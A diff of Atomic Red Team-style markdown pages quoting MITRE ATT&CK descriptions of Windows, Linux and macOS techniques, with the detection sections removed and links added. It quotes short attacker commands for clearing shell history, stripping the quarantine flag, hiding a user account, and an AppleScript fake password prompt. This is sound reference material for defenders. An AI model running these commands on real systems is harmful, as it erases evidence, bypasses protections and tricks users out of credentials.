+<blockquote>The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

 * <code>%WINDIR%\AppPatch\sysmain.sdb</code>
 * <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>
@@ -10,23 +10,7 @@ Custom databases are stored in:
 * <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
 * <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

-To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
-
-Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
-
-* Shim-Process-Scanner - checks memory of every running process for any Shim flags
-* Shim-Detector-Lite - detects installation of custom shim databases
-* Shim-Guard - monitors registry for any shim installations
-* ShimScanner - forensic tool to find active shims in memory
-* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
-
-Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
-
-Platforms: Windows
-
-Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters
-
-Permissions Required: Administrator</blockquote>
+To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1139 - Bash History
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1139)
-<blockquote>Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
-
-Detection: Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
-
-Platforms: Linux, macOS
-
-Data Sources: File monitoring, Process monitoring, Process command-line parameters
-
-Permissions Required: User</blockquote>
+<blockquote>Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)</blockquote>

 ## Atomic Tests

@@ -1,26 +1,12 @@
 # T1140 - Deobfuscate/Decode Files or Information
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1140)
-<blockquote>Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.
+<blockquote>Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.

-One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)
+One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)

 Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

-Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
-
-Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.
-
-Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
-
-Platforms: Windows
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters
-
-Defense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system
-
-Permissions Required: User
-
-Contributors: Matthew Demaske, Adaptforward, Red Canary</blockquote>
+Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.</blockquote>

 ## Atomic Tests

@@ -5,15 +5,7 @@
 <code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code>
 (Citation: OSX Keydnap malware)

-Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)
-
-Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.
-
-Platforms: macOS
-
-Data Sources: User interface, Process Monitoring
-
-Permissions Required: User</blockquote>
+Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)</blockquote>

 ## Atomic Tests

@@ -2,15 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1142)
 <blockquote>Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

-To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
-
-Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.
-
-Platforms: macOS
-
-Data Sources: System calls, Process Monitoring
-
-Permissions Required: Administrator</blockquote>
+To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.</blockquote>

 ## Atomic Tests

@@ -4,15 +4,7 @@

 Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
 
-In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)
-
-Detection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.
-
-Platforms: macOS
-
-Defense Bypassed: Application whitelisting, Anti-virus
-
-Permissions Required: User, Administrator</blockquote>
+In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)</blockquote>

 ## Atomic Tests

@@ -2,21 +2,11 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1145)
 <blockquote>Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

-Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.
+Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

-Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.
+Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

-Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
-
-Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.
-
-Platforms: Linux, Windows, macOS
-
-Data Sources: File monitoring
-
-Permissions Required: User
-
-Contributors: Itzik Kotler, SafeBreach</blockquote>
+Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1146 - Clear Command History
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1146)
-<blockquote>macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.
-
-Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.
-
-Platforms: Linux, macOS
-
-Data Sources: Authentication logs, File monitoring
-
-Defense Bypassed: Log analysis, Host forensic analysis
-
-Permissions Required: User</blockquote>
+<blockquote>macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.</blockquote>

 ## Atomic Tests

@@ -1,14 +1,6 @@
 # T1147 - Hidden Users
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1147)
-<blockquote>Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).
-
-Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.
-
-Platforms: macOS
-
-Data Sources: Authentication logs, File monitoring
-
-Permissions Required: Administrator, root</blockquote>
+<blockquote>Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1148 - HISTCONTROL
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1148)
-<blockquote>The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
-
-Detection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.
-
-Platforms: Linux, macOS
-
-Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable
-
-Defense Bypassed: Log analysis, Host forensic analysis
-
-Permissions Required: User</blockquote>
+<blockquote>The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.</blockquote>

 ## Atomic Tests

@@ -1,19 +1,7 @@
 # T1150 - Plist Modification
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1150)
 <blockquote>Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). 
-Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)
-
-Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.
-
-Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.
-
-Platforms: macOS
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters
-
-Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
-
-Permissions Required: User, Administrator</blockquote>
+Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1151)
 <blockquote>Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). 

-Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
-
-Detection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.
-
-Platforms: Linux, macOS
-
-Data Sources: File monitoring, Process Monitoring
-
-Permissions Required: User
-
-Contributors: Erye Hernandez, Palo Alto Networks</blockquote>
+Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.</blockquote>

 ## Atomic Tests

@@ -2,19 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1152)
 <blockquote>Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. 

-Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
-
-Detection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.
-
-Platforms: macOS
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters
-
-Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
-
-Permissions Required: User, Administrator
-
-Remote Support: No</blockquote>
+Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1153)
 <blockquote>The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. 

-Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
-
-Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.
-
-Platforms: Linux, macOS
-
-Data Sources: Process Monitoring, File monitoring, Process command-line parameters
-
-Permissions Required: User
-
-Remote Support: No</blockquote>
+Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.</blockquote>

 ## Atomic Tests

@@ -1,16 +1,6 @@
 # T1154 - Trap
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1154)
-<blockquote>The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.
-
-Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.
-
-Platforms: Linux, macOS
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters
-
-Permissions Required: User, Administrator
-
-Remote Support: No</blockquote>
+<blockquote>The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.</blockquote>

 ## Atomic Tests

@@ -3,17 +3,7 @@
 <blockquote>macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.
 AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. 

-Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.
-
-Detection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.
-
-Platforms: macOS
-
-Data Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters
-
-Permissions Required: User
-
-Remote Support: Yes</blockquote>
+Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.</blockquote>

 ## Atomic Tests

@@ -4,15 +4,7 @@

 Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.

-These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell  (Citation: amnesia malware).
-
-Detection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
-
-Platforms: Linux, macOS
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network
-
-Permissions Required: User, Administrator</blockquote>
+These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell  (Citation: amnesia malware).</blockquote>

 ## Atomic Tests

@@ -2,30 +2,20 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1158)
 <blockquote>To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

-===Windows===
+Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
+
+### Windows

 Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

-===Linux/Mac===
+### Linux/Mac

 Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

-===Mac===
+### Mac

 Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).
-Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. 
-
-Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
-
-Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.
-
-Platforms: Linux, macOS, Windows
-
-Data Sources: File monitoring, Process Monitoring, Process command-line parameters
-
-Defense Bypassed: Host forensic analysis
-
-Permissions Required: User</blockquote>
+Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.</blockquote>

 ## Atomic Tests

@@ -1,16 +1,8 @@
 # T1159 - Launch Agent
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1159)
-<blockquote>Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware).  These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
+<blockquote>Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
 
-Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).
-
-Detection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s  KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
-
-Platforms: macOS
-
-Data Sources: File monitoring, Process Monitoring
-
-Permissions Required: User, Administrator</blockquote>
+Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).</blockquote>

 ## Atomic Tests

@@ -4,17 +4,7 @@
 
 Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
 
